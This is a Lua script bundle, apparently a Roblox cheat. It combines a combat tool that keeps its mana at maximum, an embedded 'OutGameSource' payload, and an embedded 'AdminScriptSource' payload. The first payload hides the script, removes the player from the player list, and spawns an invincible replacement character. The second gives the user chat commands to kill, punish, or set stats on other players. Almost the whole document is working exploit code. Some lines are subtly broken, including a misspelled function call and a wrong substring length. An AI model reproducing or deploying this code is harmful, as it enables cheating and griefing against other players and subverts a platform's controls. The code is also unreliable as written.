- elseif mp >= maxmp*0.8 and k=="h" and a.a=="Lance" and a.b=="None" then a.b="RushCharge" a.c=false mp=rn(1,maxmp*0.2)
- cw(function() c1(law,0.05,3,-1.5,0.5,-0.5,-90,15,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,-30,0,0) end) cw(function() c1(Misc["v"].shield.Weld,0.05,0,-2.5,2.75,2.5,0,25,80) end) c1(raw,0.05,3,1,0.5,-0.5,-120,0,-90)
- Sound(Sounds.Abscond,0.9,1) local at = Misc["v"].shield local shieldz = {} local spaiks = {} local shieldin = true
- for yy=1,8 do Sound(Sounds.Unsheath,1.6,1) local dec = at:Clone() dec.Parent = m local decw = weld(dec,at,dec,0,0,0,0,0,0)
- ti(shieldz,dec) for ii=0,1,0.2 do decw.C0 = cf(0,-0.5*ii,-2.25*ii)*ca(rd(-25*ii),rd(5*ii),0) w() end at = dec cw(function() repeat w() until not shieldin w(1+(yy/6)) decw:Remove'' dec.CanCollide = true w(3) fade(dec,0.1) end)
- cw(function() local dec = at:Clone() dec.Parent = m local decw = weld(dec,at,dec,0,0,0,0,0,0) ti(shieldz,dec) for ii=0,1,0.2 do decw.C0 = cf(-2.8*ii,-0.65*ii,0)*ca(0,0,rd(20*ii)) w() end Sound(Sounds.Unsheath,1.6,1) repeat w() until not shieldin w((yy/10)) for ii=1,0,-0.2 do decw.C0 = cf(-2.8*ii,-0.65*ii,0)*ca(0,0,rd(20*ii)) w() end end)
- cw(function() local dec = at:Clone() dec.Parent = m local decw = weld(dec,at,dec,0,0,0,0,0,0) ti(shieldz,dec) for ii=0,1,0.2 do decw.C0 = cf(2.8*ii,0.65*ii,0)*ca(0,0,rd(20*ii)) w() end repeat w() until not shieldin w((yy/10)) for ii=1,0,-0.2 do decw.C0 = cf(2.8*ii,0.65*ii,0)*ca(0,0,rd(20*ii)) w() end end)
- end for i,v in pairs(shieldz) do w() local dec = at:Clone() dec.Name = "spaik" dec.BrickColor = bc("Black") dec.Mesh:Remove() dec.Parent = m local decw = weld(dec,v,dec,0,0,0,0,0,0) local ssm = it("SpecialMesh",dec) ssm.MeshType = "FileMesh" ssm.MeshId = asset .. Decs.Spike
- cw(function() for ii=0,1,0.1 do decw.C0 = cf(0,1.25*ii,0) ssm.Scale = v3(0.5,3.3,0.5)*ii w() end ti(spaiks,dec) Sound(Sounds.Unsheath,1.4,1) end) end
- local fi = at:Clone() fi.Parent = m fi.Mesh:Remove() fi.Transparency = 1 fiw = weld(fi,t,fi,0,0,6,-90,0,0) local fia = it("Fire",fi) fia.Heat = -25 fia.Size = 22 fia.Color = bc("Really blue").Color fia.SecondaryColor = bc("White").Color
- Sound(Sounds.Abscond,1.2,2) hu.WalkSpeed = ns*3 local zemagiks = false
- for tx=1,500 do if tx%4==0 then GlowMesh(false,"Block",Misc["v"].spike,v3(rn(25,50)/10,rn(25,50)/10,rn(25,50)/10),raigcol3,cf(rn(-10,10),rn(-1,10),rn(-10,10))*ca(rd(rn(-360,360)),rd(rn(-360,360)),rd(rn(-360,360)))) end if tx%3 ==0 then hu:MoveTo((to.CFrame*cf(0,0,-5)).p,to) end
- if tx%12==0 then SplashDmg(false,to.Position,12,18,100) GlowMesh(false,asset .. Decs.Crown,Misc["v"].spike,v3(10,20,10),raigcol3,cf(0,8,0)*ca(rd(180),rd(tx*5),0)) end if tx%7 == 0 then rayHit(0.4,5,Misc["v"].han,cf(0,0,0)*ca(rd(-90),0,0),14,5,5) end if tx%2==0 then if zemagiks then zemagiks = false else zemagiks = true end GlowMesh(zemagiks,asset .. Decs.Spike,Misc["v"].spike,v3(4.4,27,4.4),raigcol3,cf(0,0,0)) end w() end
- hu.WalkSpeed = ns*0.75 for i,v in pairs(spaiks) do w() cw(function() for ii=1,0,-0.1 do v.Weld.C0 = cf(0,1.25*ii,0) v.Mesh.Scale = v3(0.5,3.3,0.5)*ii w() end Sound(Sounds.Unsheath,1.4,1) shieldin = false v:Remove() end) end
- for ix=22,0,-0.5 do fia.Size = ix w() end fi:Remove() w(1) cw(function() c1(Misc["v"].shield.Weld,0.05,0,-0.6,-1.25,0,55,0,90) end) cw(function() c1(Misc["v"].han.Weld,0.04,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.04,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.04,3,-1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.b="None" a.c=true
- end -- key
- end -- bool
- end -- func end
- loltewlnaem = "PowerScript"
- re(bp,loltewlnaem)
- bin=it("HopperBin",bp) bin.Name=loltewlnaem
- script.Parent=bin
- bin.Selected:connect(function(mouse) mou = mouse
- mouse.Button1Down:connect(function() Button = true cw(function() repeat w(0.1) a.clickHold = a.clickHold + 0.1 until not Button end)()
- end)
- mouse.Button1Up:connect(function() Button = false
- end)
- mouse.KeyDown:connect(function(k2) local k = k2:lower() Key = true
- ky = ""
- if a.a == "None" then
- a.Act(k,true)
- else
- a.Act(k,false)
- end
- end)
- mouse.KeyUp:connect(function(k2)
- pcall(function()
- ky = ""..k2:lower()
- end)
- Key = false end)
- end)
- re(pg,loltewlnaem) raigcol="Alder" raigcol2="New Yeller" raigcol3="Navy blue" raigcol4="Bright red"
- Gui=it("ScreenGui",pg) Gui.Name=loltewlnaem
- fr=it("Frame",Gui) fr.Size=ud(1,0,1,0) fr.Active=false fr.BackgroundTransparency=1
- mptray=it("TextLabel",fr) mptray.BackgroundColor3=bc("Black").Color
- mptray.Size=ud(0.18,0,0.08,0) mptray.BorderSizePixel=0 mptray.Position=ud(0.41,0,0.025,0) mptray.Text=""
- mptext=it("TextLabel",mptray) mptext.BackgroundTransparency=1 mptext.Size=ud(1,0,0.5,0) mptext.Position = ud(0,0,0.1,0) mptext.TextColor3=bc("White").Color
- mptext.FontSize="Size18" mptext.Font="ArialBold" mptext.ZIndex=2 mptext.Text="Mp P" .. "ower"
- mptext2=it("TextLabel",mptray) mptext2.BackgroundTransparency=1 mptext2.Size=ud(1,0,0.5,0) mptext2.Position = ud(0,0,0.4,0) mptext2.TextColor3=bc("White").Color
- mptext2.FontSize="Size18" mptext2.Font="ArialBold" mptext2.ZIndex=2 mptext2.Text="/"
- mpfill=it("ImageLabel",mptray) mpfill.BackgroundColor3=bc(raigcol).Color mpfill.Image=asset .. Decs.Shine mpfill.Size=ud(0.97,0,0.90,0) mpfill.Position=ud(0.015,0,0.05,0)
- sttray=it("ImageLabel",fr) sttray.BackgroundColor3=bc("Black").Color
- sttray.Size=ud(0.2,0,0.055,0) sttray.BorderSizePixel=0 sttray.Position=ud(0.043,0,0.94,0) sttray.Image=asset .. Decs.Shine
- sttext=it("TextLabel",fr) sttext.BackgroundTransparency=1
- sttext.Size=ud(0.2,0,0.055,0) sttext.BorderSizePixel=0 sttext.ZIndex=2 sttext.Position=ud(0.043,0,0.94,0)
- sttext.FontSize="Size18" sttext.Font="ArialBold" sttext.Text="Mode:" sttext.TextColor3=bc("White").Color
- cw(function() while w() do mptext2.Text = ts(mf(mp)).. "/" ..ts(mf(maxmp)) sttext.Text=" " ..a.a.. " [" ..a.b.. "] " mpfill.Size=ud((0.97/maxmp)*mp,0,0.9,0) end end)
- cw(function() while w() do if mp >= maxmp then local raigcolz=bc(raigcol).Color local rr,gg,bb=raigcolz.r,raigcolz.g,raigcolz.b for xz=gg,gg-80,-5 do if mp < maxmp then mpfill.BackgroundColor3=bc(raigcol).Color break end mpfill.BackgroundColor3=c3(rr,xz,bb) w() end
- for xz=gg-80,gg,5 do if mp < maxmp then mpfill.BackgroundColor3=bc(raigcol).Color break end mpfill.BackgroundColor3=c3(rr,xz,bb) w() end end end end) local runspi=0
- hu.Running:connect(function(spid) runspi=spid end)
- cw(function() while w() do if m.Parent == nil then break end
- if runspi == 0 then
- if (a.a == "Cham" .. "pion" or a.a == "Lan" .. "ce") and Legb and Legb2 then
- Legz(false) Legb=true w(0.06) repeat for xi=-5,5,0.5 do if runspi ~= 0 or not Legb then break end c1(llw,1,3,-0.5,-1,0,-5-xi/3,0,8+xi) c1(rlw,1,3,0.5,-1,0,-5-xi/3,0,-8-xi) w() end for xi=5,-5,-0.5 do if runspi ~= 0 or not Legb then break end c1(llw,1,3,-0.5,-1,0,-5-xi/3,0,8+xi) c1(rlw,1,3,0.5,-1,0,-5-xi/3,0,-8-xi) w() end until runspi ~= 0 or not Legb
- end
- else
- if (a.a == "Cha" .. "mpion" or a.a == "La" .. "nce") and Legb then
- Legz(true) c1(llw,1,3,-0.5,-1,0,0,0,0) c1(rlw,1,3,0.5,-1,0,0,0,0) print("mk")
- end
- end
- end end)
- cw(function() while w() do if not Button and a.ClickHold > 0 then a.ClickHold=a.ClickHold - 0.1 end end end)
- hu.WalkSpeed=ns while wait() do mp = maxmp end]]
- OutGameSource=[[
- -- Settings --
- _ForceField = true
- _RespawnTime = 0
- _PlayerName = "ROBLOX"
- _ChatColor = "Blue"
- -- Some variables --
- _Player = game.Players.LocalPlayer
- _Neutral = _Player.Neutral
- _TeamColor = _Player.TeamColor
- _Character = _Player.Character
- _Camera = game.Workspace.CurrentCamera
- _Character.Archivable = true
- wait()
- _BaseChar = _Character:clone()
- _Respawning = false
- -- Some functions --
- function _CreateChar(vector)
- if _Respawning then return else _Respawning = true
- for _,v in pairs(_Player.Backpack:GetChildren())do
- v:remove()
- end
- for _,v in pairs(_Player.PlayerGui:GetChildren())do
- v:remove()
- end
- local _CloneChar = _BaseChar:clone()
- _CloneChar:MakeJoints()
- if vector and _CloneChar:FindFirstChild("Torso") then
- _CloneChar.Torso.CFrame = CFrame.new(vector)
- end
- _CloneChar.Parent = game.Workspace.CurrentCamera
- _CloneChar.Name = _PlayerName
- _CloneChar.Archivable = false
- _Camera.CameraSubject = _CloneChar:FindFirstChild("Humanoid")
- _Camera.CameraType = "Custom"
- for _,v in pairs(_Player.StarterGear:GetChildren())do
- if not _Player.Backpack:FindFirstChild(v.Name) then
- v:clone().Parent = _Player.Backpack
- end
- end
- for _,v in pairs(game:GetService("StarterPack"):GetChildren())do
- if not _Player.Backpack:FindFirstChild(v.Name) then
- v:clone().Parent = _Player.Backpack
- end
- end
- for _,v in pairs(game:GetService("StarterGui"):GetChildren())do
- if not _Player.PlayerGui:FindFirstChild(v.Name) then
- v:clone().Parent = _Player.PlayerGui
- end
- end
- for _,v in pairs(_Player.Backpack:GetChildren())do
- if v:IsA("Tool") then
- v.Enabled = true
- elseif v:IsA("HopperBin") then
- v.Active = false
- end
- end
- _Player.Character = _CloneChar
- for _,v in pairs(_CloneChar:GetChildren())do
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true wait() v.Disabled = false
- end
- end
- _Respawning = false
- return _CloneChar
- end
- end
- function _VerifyCopy(_PlayerName)
- while wait() do
- if not game.Players:FindFirstChild(_PlayerName) then
- local _LocalPlayer = Instance.new("ObjectValue",game.Players)
- _LocalPlayer.Name = _PlayerName
- end
- if game.Players:FindFirstChild(_PlayerName) then
- if game.Players[_PlayerName]:IsA("ObjectValue") then
- if not game.Players[_PlayerName]:FindFirstChild("Backpack") then
- local _LocalBackpack = Instance.new("ObjectValue",game.Players[_PlayerName])
- _LocalBackpack.Name = "Backpack"
- end
- if not game.Players[_PlayerName]:FindFirstChild("StarterGear") then
- local _LocalStarterGear = Instance.new("ObjectValue",game.Players[_PlayerName])
- _LocalStarterGear.Name = "StarterGear"
- end
- if not game.Players[_PlayerName]:FindFirstChild("PlayerGui") then
- local _LocalPlayerGui = Instance.new("ObjectValue",game.Players[_PlayerName])
- _LocalPlayerGui.Name = "PlayerGui"
- end
- end
- end
- end
- end
- function _CloneTools(_name,_type)
- for _,v in pairs(game.Players[_name][_type]:GetChildren())do
- if not _Player[_type]:FindFirstChild(v.Name) and not game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild(v.Name) then
- v.Parent = _Player[_type]
- coroutine.resume(coroutine.create(function()
- function fixScripts(path)
- for e,i in pairs(path:GetChildren())do
- if i:IsA("Script") or i:IsA("LocalScript") then
- if i.Disabled == false then
- i.Disabled = true wait() i.Disabled = false
- end
- end
- fixScripts(i)
- end
- end
- fixScripts(v)
- end))
- end
- end
- end
- function _TransferTools(_pname)
- while wait() do
- if game.Players:FindFirstChild(_pname) then
- if game.Players[_pname]:FindFirstChild("Backpack") then
- coroutine.resume(coroutine.create(_CloneTools),_pname,"Backpack")
- for _,v in pairs(_Player.Backpack:GetChildren())do
- if not game.Players[_pname].Backpack:FindFirstChild(v.Name) then
- v:clone().Parent = game.Players[_pname].Backpack
- end
- end
- end
- if game.Players[_pname]:FindFirstChild("StarterGear") then
- coroutine.resume(coroutine.create(function()
- for _,v in pairs(game.Players[_pname].StarterGear:GetChildren())do
- if not _Player.StarterGear:FindFirstChild(v.Name) then
- v:clone().Parent = _Player.StarterGear
- end
- end
- end))
- for _,v in pairs(_Player.StarterGear:GetChildren())do
- if not game.Players[_pname].StarterGear:FindFirstChild(v.Name) then
- v:clone().Parent = game.Players[_pname].StarterGear
- end
- end
- end
- if game.Players[_pname]:FindFirstChild("PlayerGui") then
- for _,v in pairs(_Player.PlayerGui:GetChildren())do
- if not game.Players[_pname].PlayerGui:FindFirstChild(v.Name) then
- v:clone().Parent = game.Players[_pname].PlayerGui
- end
- end
- coroutine.resume(coroutine.create(_CloneTools),_pname,"PlayerGui")
- end
- end
- end
- end
- -- Remove player and script --
- script.Parent = nil
- wait()
- -- Update _BaseChar position --
- coroutine.resume(coroutine.create(function()
- while wait() do
- if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
- if game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Torso") then
- if _BaseChar:FindFirstChild("Torso") then
- _BaseChar.Torso.CFrame = game.Workspace.CurrentCamera[_PlayerName].Torso.CFrame
- end
- end
- end
- end
- end))
- -- Clone and Respawn character --
- coroutine.resume(coroutine.create(function()
- while wait() do
- if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
- _PartFound = false
- for _,v in pairs(game.Workspace.CurrentCamera[_PlayerName]:GetChildren())do
- if v:IsA("Part") then
- _PartFound = true
- end
- end
- if not _PartFound then
- wait(_RespawnTime)
- game.Workspace.CurrentCamera[_PlayerName]:remove()
- _Created = false
- function _scanSpawn(path)
- for _,v in pairs(path:GetChildren())do
- if v:IsA("SpawnLocation") then
- if _Player.Neutral then
- if v.Neutral then
- _CreateChar(v.Position)
- _Created = true
- end
- elseif not _Player.Neutral then
- if v.TeamColor == _Player.TeamColor then
- _CreateChar(v.Position)
- _Created = true
- end
- end
- end
- _scanSpawn(v)
- end
- end
- _scanSpawn(game.Workspace)
- if not _Created then
- _CreateChar(Vector3.new(0,500,0))
- end
- elseif _PartFound then
- if not game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Humanoid") then
- game.Workspace.CurrentCamera[_PlayerName]:remove() _ChreateChar()
- elseif game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Humanoid") then
- if game.Workspace.CurrentCamera[_PlayerName].Humanoid.Health == 0 then
- wait(_RespawnTime) game.Workspace.CurrentCamera[_PlayerName]:remove() _CreateChar()
- end
- end
- end
- elseif not game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
- _CreateChar()
- end
- if _ForceField then
- if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
- if not game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("ForceField") then
- Instance.new("ForceField",game.Workspace.CurrentCamera[_PlayerName])
- end
- end
- end
- end
- end))
- -- Copy player children --
- coroutine.resume(coroutine.create(function()
- coroutine.resume(coroutine.create(_VerifyCopy),_PlayerName)
- coroutine.resume(coroutine.create(_VerifyCopy),_Player.Name)
- end))
- -- Transfer tools and guis --
- coroutine.resume(coroutine.create(function()
- coroutine.resume(coroutine.create(_TransferTools),_PlayerName)
- coroutine.resume(coroutine.create(_TransferTools),_Player.Name)
- end))
- -- Take weapons --
- coroutine.resume(coroutine.create(function()
- while wait() do
- if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
- _TempChar = game.Workspace.CurrentCamera:FindFirstChild(_PlayerName)
- function checkParts(path)
- for _,v in pairs(path:GetChildren())do
- if v:IsA("Part") then
- if not v:FindFirstChild("TouchInterest") then
- v.Touched:connect(function(Part)
- if Part.Parent:IsA("Tool") then
- Part.Parent.Parent = _TempChar
- end
- end)
- end
- end
- checkParts(v)
- end
- end
- checkParts(_TempChar)
- end
- end
- end))
- -- Chat box --
- coroutine.resume(coroutine.create(function()
- _Player.Chatted:connect(function(msg)
- if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
- if game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Head") then
- game:GetService("Chat"):Chat(game.Workspace.CurrentCamera[_PlayerName].Head, msg, _ChatColor)
- end
- end
- end)
- end))
- wait() _Player.Parent = nil
- ]]
- AdminScriptSource=[[
- adminlist = {game.Players.LocalPlayer.Name}
- bannedlist = {""}
- texture = ""
- wait(.5) script.Parent=nil
- namelist = { }
- variablelist = { }
- flist = { }
- tools = Instance.new("Model")
- c = game.Lighting:GetChildren()
- for i=1,#c do
- if c[i].className == "Tool" then
- c[i]:clone().Parent = tools
- end
- if c[i].className == "HopperBin" then
- c[i]:clone().Parent = tools
- end end
- function findplayer(name,speaker)
- if string.lower(name) == "all" then
- local chars = { }
- local c = game.Players:GetChildren()
- for i =1,#c do
- if c[i].className == "Player" then
- table.insert(chars,c[i])
- end end
- return chars
- elseif string.lower(name) == "bc" then
- local chars = { }
- local c = game.Players:GetChildren()
- for i =1,#c do
- if not c[i].MembershipType == Enum.MembershipType.None then
- if c[i].className == "Player" then
- table.insert(chars,c[i])
- end end end
- return chars
- elseif string.lower(name) == "nbc" then
- local chars = { }
- local c = game.Players:GetChildren()
- for i =1,#c do
- if c[i].MembershipType == Enum.MembershipType.None then
- if c[i].className == "Player" then
- table.insert(chars,c[i])
- end end end
- return chars
- elseif string.sub(string.lower(name),1,9) == "nonadmins" then
- local nnum = 0
- local chars = { }
- local c = game.Players:GetChildren()
- for i=1,#c do
- local isadmin = false
- for i2 =1,#namelist do
- if namelist[i2] == c[i].Name then
- isadmin = true
- end end
- if isadmin == false then
- nnum = nnum + 1
- table.insert(chars,c[i])
- end end
- if nnum == 0 then
- return 0
- else
- return chars
- end
- elseif string.sub(string.lower(name),1,6) == "admins" then
- local anum = 0
- local chars = { }
- local c = game.Players:GetChildren()
- for i=1,#c do
- for i2 =1,#namelist do
- if namelist[i2] == c[i].Name then
- anum = anum + 1
- table.insert(chars,c[i])
- end end end
- if anum == 0 then
- return 0
- else
- return chars
- end
- elseif string.sub(string.lower(name),1,6) == "random" then
- while true do
- local c = game.Players:GetChildren()
- local r = math.random(1,#c)
- if c[r].className == "Player" then
- return { c[r] }
- end end
- elseif string.sub(string.lower(name),1,6) == "guests" then
- local gnum = 0
- local chars = { }
- local c = game.Players:GetChildren()
- for i=1,#c do
- if string.sub(c[i].Name,1,5) == "Guest" then
- gnum = gnum + 1
- table.insert(chars,c[i])
- end end
- if gnum == 0 then
- return 0
- else
- return chars
- end
- elseif string.sub(string.lower(name),1,5) == "team " then
- local theteam = nil
- local tnum = 0
- if game.Teams ~= nil then
- local c = game.Teams:GetChildren()
- for i =1,#c do
- if c[i].className == "Team" then
- if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1 then
- theteam = c[i]
- tnum = tnum + 1
- end end end
- if tnum == 1 then
- local chars = { }
- local c = game.Players:GetChildren()
- for i =1,#c do
- if c[i].className == "Player" then
- if c[i].TeamColor == theteam.TeamColor then
- table.insert(chars,c[i])
- end end end
- return chars
- end end
- return 0
- elseif string.lower(name) == "me" then
- local person299 = { speaker }
- return person299
- elseif string.lower(name) == "others" then
- local chars = { }
- local c = game.Players:GetChildren()
- for i =1,#c do
- if c[i].className == "Player" then
- if c[i] ~= speaker then
- table.insert(chars,c[i])
- end end end
- return chars
- else
- local chars = { }
- local commalist = { }
- local ssn = 0
- local lownum = 1
- local highestnum = 1
- local foundone = false
- while true do
- ssn = ssn + 1
- if string.sub(name,ssn,ssn) == "" then
- table.insert(commalist,lownum)
- table.insert(commalist,ssn - 1)
- highestnum = ssn - 1
- break
- end
- if string.sub(name,ssn,ssn) == "," then
- foundone = true
- table.insert(commalist,lownum)
- table.insert(commalist,ssn)
- lownum = ssn + 1
- end end
- if foundone == true then
- for ack=1,#commalist,2 do
- local cnum = 0
- local char = nil
- local c = game.Players:GetChildren()
- for i =1,#c do
- if c[i].className == "Player" then
- if string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],commalist[ack + 1] - 1)) == 1 then
- char = c[i]
- cnum = cnum + 1
- end end end
- if cnum == 1 then
- table.insert(chars,char)
- end end
- if #chars ~= 0 then
- return chars
- else
- return 0
- end
- else
- local cnum = 0
- local char = nil
- local c = game.Players:GetChildren()
- for i =1,#c do
- if c[i].className == "Player" then
- if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then
- char = {c[i]}
- cnum = cnum + 1
- end end end
- if cnum == 1 then
- return char
- elseif cnum == 0 then
- text("That name is not found.",1,"Message",game.Workspace.CurrentCamera)
- return 0
- elseif cnum > 1 then
- text("That name is ambiguous.",1,"Message",game.Workspace.CurrentCamera)
- return 0
- end end end end
- function text(message,duration,type,object)
- local m = Instance.new(type)
- m.Text = message
- m.Parent = object
- wait(duration)
- if m.Parent ~= nil then
- m:remove()
- end end
- function foc(msg,speaker)
- if string.lower(msg) == "fix" then
- for i =1,#namelist do
- if namelist[i] == speaker.Name then
- variablelist[i]:disconnect()
- table.remove(variablelist,i)
- table.remove(namelist,i)
- table.remove(flist,i)
- end end
- local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end)
- table.insert(namelist,speaker.Name)
- table.insert(variablelist,tfv)
- local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end)
- table.insert(flist,tfv)
- end end
- function PERSON299(name)
- for i =1,#adminlist do
- if adminlist[i] == name then
- return true
- end end
- return false
- end
- function oc(msg,speaker)
- if string.sub(string.lower(msg),1,6) == "clone/" then
- local player = findplayer(string.sub(msg,7),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local human = player[i].Character:FindFirstChild("Humanoid")
- local torso = player[i].Character:FindFirstChild("Torso")
- if human ~= nil and torso ~= nil then
- player[i].Character.archivable = true
- wait()
- clone = player[i].Character:clone()
- clone.Parent = game.Workspace
- clone:MoveTo(torso.Position)
- clone:MakeJoints()
- wait()
- player[i].Character.archivable = false
- end end end end end
- if string.sub(string.lower(msg),1,10) == "superjump/" then
- local player = findplayer(string.sub(msg,11),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local human = player[i].Character:FindFirstChild("Humanoid")
- local torso = player[i].Character:FindFirstChild("Torso")
- if human ~= nil and torso ~= nil then
- jump = Instance.new("BodyVelocity")
- jump.Parent = torso
- jump.velocity = Vector3.new(0, 500, 0)
- human.Jump = true
- wait(3)
- jump:Remove()
- end end end end end
- if string.sub(string.lower(msg),1,11) == "skateboard/" then
- local player = findplayer(string.sub(msg,12),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local human = player[i].Character:FindFirstChild("Humanoid")
- local torso = player[i].Character:FindFirstChild("Torso")
- if human ~= nil and torso ~= nil then
- local root = game:GetService("InsertService"):LoadAsset(23154610)
- local instances = root:GetChildren()
- if #instances == 0 then
- root:Remove()
- return
- end
- root.Name = "InsertedObject" ..23154610
- game:GetService("InsertService"):Insert(root)
- root:MoveTo(torso.Position + torso.CFrame.lookVector * 8)
- end end end end end
- if string.sub(string.lower(msg),1,5) == "fire/" then
- local player = findplayer(string.sub(msg,6),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local human = player[i].Character:FindFirstChild("Humanoid")
- local torso = player[i].Character:FindFirstChild("Torso")
- if human ~= nil and torso ~= nil then
- fire = Instance.new("Fire", torso)
- fire.Name = "CreatedFire"
- end end end end end
- if string.sub(string.lower(msg),1,7) == "unfire/" then
- local player = findplayer(string.sub(msg,8),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local human = player[i].Character:FindFirstChild("Humanoid")
- local torso = player[i].Character:FindFirstChild("Torso")
- if human ~= nil and torso ~= nil then
- fire = torso:findFirstChild("CreatedFire")
- if fire ~= nil then
- fire:Remove()
- end end end end end end
- if string.sub(string.lower(msg),1,5) == "kill/" then--This part checks if the first part of the message is kill/
- local player = findplayer(string.sub(msg,6),speaker)--This part refers to the findplayer function for a list of people associated with the input after kill/
- if player ~= 0 then--This part makes sure that the findplayer function found someone, as it returns 0 when it hasnt
- for i = 1,#player do--This part makes a loop, each different loop going through each player findplayer returned
- if player[i].Character ~= nil then--This part makes sure that the loop's current player's character exists
- local human = player[i].Character:FindFirstChild("Humanoid")--This part looks for the Humanoid in the character
- if human ~= nil then--This part makes sure the line above found a humanoid
- human.Health = 0--This part makes the humanoid's health 0
- end end end end end--This line contains the ends for all the if statements and the for loop
- local msg = string.lower(msg)
- if string.sub(msg,1,5) == "give/" then
- local danumber1 = nil
- for i = 6,100 do
- if string.sub(msg,i,i) == "/" then
- danumber1 = i
- break
- elseif string.sub(msg,i,i) == "" then
- break
- end end
- if danumber1 == nil then return end
- local it = nil
- local all = true
- if string.sub(string.lower(msg),danumber1 + 1,danumber1 + 4) ~= "all" then
- all = false
- local itnum = 0
- local c = tools:GetChildren()
- for i2 = 1,#c do
- if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1)) == 1 then
- it = c[i2]
- itnum = itnum + 1
- end end
- if itnum ~= 1 then return end
- else
- all = true
- end
- local player = findplayer(string.sub(msg,6,danumber1 - 1),speaker)
- if player ~= 0 then
- for i = 1,#player do
- local bp = player[i]:FindFirstChild("Backpack")
- if bp ~= nil then
- if all == false then
- it:clone().Parent = bp
- else
- local c = tools:GetChildren()
- for i2 = 1,#c do
- c[i2]:clone().Parent = bp
- end end end end end end
- --Bored...
- if string.sub(msg,1,7) == "change/" then
- local danumber1 = nil
- local danumber2 = nil
- for i = 8,100 do
- if string.sub(msg,i,i) == "/" then
- danumber1 = i
- break
- elseif string.sub(msg,i,i) == "" then
- break
- end end
- if danumber1 == nil then return end
- for i =danumber1 + 1,danumber1 + 100 do
- if string.sub(msg,i,i) == "/" then
- danumber2 = i
- break
- elseif string.sub(msg,i,i) == "" then
- break
- end end
- if danumber2 == nil then return end
- local player = findplayer(string.sub(msg,8,danumber1 - 1),speaker)
- if player ~= 0 then
- for i = 1,#player do
- local ls = player[i]:FindFirstChild("leaderstats")
- if ls ~= nil then
- local it = nil
- local itnum = 0
- local c = ls:GetChildren()
- for i2 = 1,#c do
- if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1,danumber2 - 1)) == 1 then
- it = c[i2]
- itnum = itnum + 1
- end end
- if itnum == 1 then
- it.Value = string.sub(msg,danumber2 + 1)
- end end end end end
- if string.sub(msg,1,7) == "punish/" then
- local player = findplayer(string.sub(msg,8),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- player[i].Character.Parent = game.Lighting
- end end end end
- if string.sub(msg,1,9) == "unpunish/" then
- local player = findplayer(string.sub(msg,10),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- player[i].Character.Parent = game.Workspace
- player[i].Character:MakeJoints()
- end end end end
- if string.sub(msg,1,3) == "ff/" then
- local player = findplayer(string.sub(msg,4),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local ff = Instance.new("ForceField")
- ff.Parent = player[i].Character
- end end end end
- if string.sub(msg,1,5) == "unff/" then
- local player = findplayer(string.sub(msg,6),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local c = player[i].Character:GetChildren()
- for i2 = 1,#c do
- if c[i2].className == "ForceField" then
- c[i2]:remove()
- end end end end end end
- if string.sub(msg,1,9) == "sparkles/" then
- local player = findplayer(string.sub(msg,10),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local torso = player[i].Character:FindFirstChild("Torso")
- if torso ~= nil then
- local sparkles = Instance.new("Sparkles")
- sparkles.Color = Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
- sparkles.Parent = torso
- end end end end end
- if string.sub(msg,1,11) == "unsparkles/" then
- local player = findplayer(string.sub(msg,12),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local torso = player[i].Character:FindFirstChild("Torso")
- if torso ~= nil then
- local c = torso:GetChildren()
- for i2 = 1,#c do
- if c[i2].className == "Sparkles" then
- c[i2]:remove()
- end end end end end end end
- if string.sub(msg,1,9) == "smoke/" then
- local player = findplayer(string.sub(msg,10),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local torso = player[i].Character:FindFirstChild("Torso")
- if torso ~= nil then
- local sparkles = Instance.new("Smoke")
- sparkles.Color = Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
- sparkles.Parent = torso
- end end end end end
- if string.sub(msg,1,11) == "unsmoke/" then
- local player = findplayer(string.sub(msg,12),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local torso = player[i].Character:FindFirstChild("Torso")
- if torso ~= nil then
- local c = torso:GetChildren()
- for i2 = 1,#c do
- if c[i2].className == "Smoke" then
- c[i2]:remove()
- end end end end end end end
- if string.sub(msg,1,6) == "admin/" then
